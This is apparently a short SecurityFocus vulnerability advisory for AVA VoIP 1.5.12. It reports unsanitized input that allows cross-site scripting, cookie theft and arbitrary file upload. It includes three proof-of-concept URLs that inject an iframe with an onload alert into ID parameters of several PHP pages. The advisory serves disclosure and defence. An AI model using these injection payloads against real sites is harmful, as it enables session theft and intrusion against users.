source: http://www.securityfocus.com/bid/54591/info

AVA VoIP is prone to multiple security vulnerabilities because the application fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, upload and execute arbitrary files in the context of the web server, and launch other attacks.

AVA VoIP 1.5.12 is vulnerable; other versions may also be affected. 

http://www.example.com/agent_accounts_report.php?agent_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C
http://www.example.com/tariff_add.php?tariff_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C
http://www.example.com/routeset_set.php?routeset_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C